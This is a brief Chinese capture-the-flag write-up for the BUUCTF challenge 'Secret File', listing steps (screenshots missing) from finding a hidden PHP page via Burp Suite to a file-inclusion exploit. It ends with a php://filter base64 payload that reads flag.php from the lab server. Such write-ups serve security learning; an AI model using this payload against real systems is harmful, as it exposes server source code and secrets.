BUUCTF之[极客大挑战 2019]Secret File

1.题：

2.题样：

3.发现一个Archive room.php:

4.绝密档案：

点了select后什么都没有，估计藏起来了。

BP抓包，重新点select后发现一个php：

访问试试：

5.代码审计：
highlight_file函数
strstr
stristr
文件包含，php伪协议，base64解密：
http://fdd4d84b-eead-40b9-ade9-df8198622912.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=./flag.php
php://filter/read=convert.base64-encode/resource=./flag.php